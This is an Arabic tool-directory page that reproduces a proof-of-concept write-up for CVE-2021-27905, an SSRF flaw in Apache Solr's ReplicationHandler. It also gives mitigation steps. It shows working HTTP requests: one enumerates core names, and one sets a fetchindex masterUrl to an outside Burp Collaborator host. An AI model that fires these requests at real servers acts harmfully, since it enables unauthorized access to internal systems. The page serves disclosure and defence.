Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-27905 — [CVE-2021-27905] Apache Solr ReplicationHandler تزوير الطلبات من جانب الخادم (SSRF) | Kitploit
أدوات/GitHubGitHub/murataydemir/cve-2021-27905
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتأمن الويب
GitHubmurataydemir/cve-2021-27905

CVE-2021-27905

[CVE-2021-27905] Apache Solr ReplicationHandler تزوير الطلبات من جانب الخادم (SSRF)

عرض المستودع
61منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

[CVE-2021-27905] Apache Solr ReplicationHandler - ثغرة تزوير الطلب من جانب الخادم (SSRF)


Hit Counter Platform Badge

Apache Solr (وهي اختصار لعبارة Searching On Lucene with Replication) هو محرك بحث مجاني ومفتوح المصدر مبني على مكتبة Apache Lucene. وهو مكتوب بلغة Java. يوفر Apache Solr واجهات برمجة تطبيقات RESTful بتنسيق XML/HTTP وJSON، بالإضافة إلى مكتبات عملاء للعديد من لغات البرمجة مثل Java وPhyton وRuby وC# وPHP وغيرها الكثير، وتُستخدم هذه المكتبات لبناء تطبيقات قائمة على البحث وتحليلات البيانات الضخمة للمواقع الإلكترونية وقواعد البيانات والملفات وغيرها.

Apache Solr all versions prior to 8.8.2 (7.0.0 to 7.7.3 and 8.0.0 to 8.8.1) معرضة لثغرة Server Side Request Forgery (SSRF). الاستغلال الناجح لهذه الثغرة قد يؤدي إلى إجراءات غير مصرح بها أو الوصول إلى البيانات داخل المؤسسة، سواء في التطبيق الضعيف نفسه أو في أنظمة خلفية أخرى يمكن للتطبيق التواصل معها.

يحتوي ReplicationHandler (المسجَّل عادةً في /replication ضمن نواة Solr) على معامل masterUrl (يُعرف أيضًا بالاسم البديل leaderUrl) يُستخدم لتعيين ReplicationHandler آخر على نواة Solr أخرى لنسخ بيانات الفهرس إلى النواة المحلية. لمنع ثغرة SSRF، كان ينبغي على Solr التحقق من هذه المعاملات مقابل إعداد مماثل يستخدمه للمعامل shards. وقبل إصلاح هذه الثغرة، لم يكن Solr يفعل ذلك.

إثبات المفهوم (PoC): لاستغلال هذه الثغرة، يجب على المهاجم معرفة اسم النواة على Apache Solr. لذلك يمكن استخدام الطلب التالي لتحديد اسم/أسماء النواة.

root@kitploit:~
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
root@kitploit:~
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close

{
    "responseHeader":
    {
        "status": 0,
        "QTime": 0
    },
    "initFailures":
    {},
    "status":
    {
        "beliana_dev":
        {
            "name": "beliana_dev",
            "instanceDir": "/var/solr/data/beliana_dev",
            "dataDir": "/var/solr/data/beliana_dev/data/",
            "config": "solrconfig.xml",
            "schema": "schema.xml",
            "startTime": "2021-04-20T13:49:06.569Z",
            "uptime": 293226747
        },
        "beliana_prod":
        {
            "name": "beliana_prod",
            "instanceDir": "/var/solr/data/beliana_prod",
            "dataDir": "/var/solr/data/beliana_prod/data/",
            "config": "solrconfig.xml",
            "schema": "schema.xml",
            "startTime": "2021-02-02T06:07:19.668Z",
            "uptime": 6973733649
        },
        "beliana_stage":
        {
            "name": "beliana_stage",
            "instanceDir": "/var/solr/data/beliana_stage",
            "dataDir": "/var/solr/data/beliana_stage/data/",
            "config": "solrconfig.xml",
            "schema": "schema.xml",
            "startTime": "2021-02-02T06:07:19.668Z",
            "uptime": 6973733649
        }
    }
}

1

بعد تحديد أسماء النوى، اختر واحدًا منها وأرسل طلبًا إلى نقطة النهاية هذه: /solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}

root@kitploit:~
GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
root@kitploit:~
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<response>
    <lst name="responseHeader">
        <int name="status">0</int>
        <int name="QTime">75</int>
    </lst>
    <str name="status">OK</str>
</response>

2

3

التخفيف: يكفي أي من الإجراءات التالية لمنع هذه الثغرة

  • قم بترقية Solr إلى الإصدار 8.8.2 أو أحدث.
  • إذا لم تكن الترقية خيارًا متاحًا، ففكر في تطبيق التصحيح في https://issues.apache.org/jira/browse/SOLR-15217
  • تأكد من أن أي وصول إلى معالج النسخ المتماثل هو داخلي بحت في Solr. عادةً، لا يتم الوصول إليه خارجيًا إلا لأغراض التشخيص والمعلومات.

المراجع:

  • https://github.com/apache/solr-site/blob/eb060a0d2cf1d31de403665407fff7a0255578ec/content/solr/security/2021-04-12-cve-2021-27905.md
  • https://github.com/apache/solr/pull/47/files/c12bbae4da0719435cf5e19623f6dad83f0c8c65#diff-838f63a8d7b764661b66c758c19cfe6f3d6454b328a1b5f52f75480530b0cfe7
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27905
  • https://www.anquanke.com/post/id/238201
تنزيل الأداة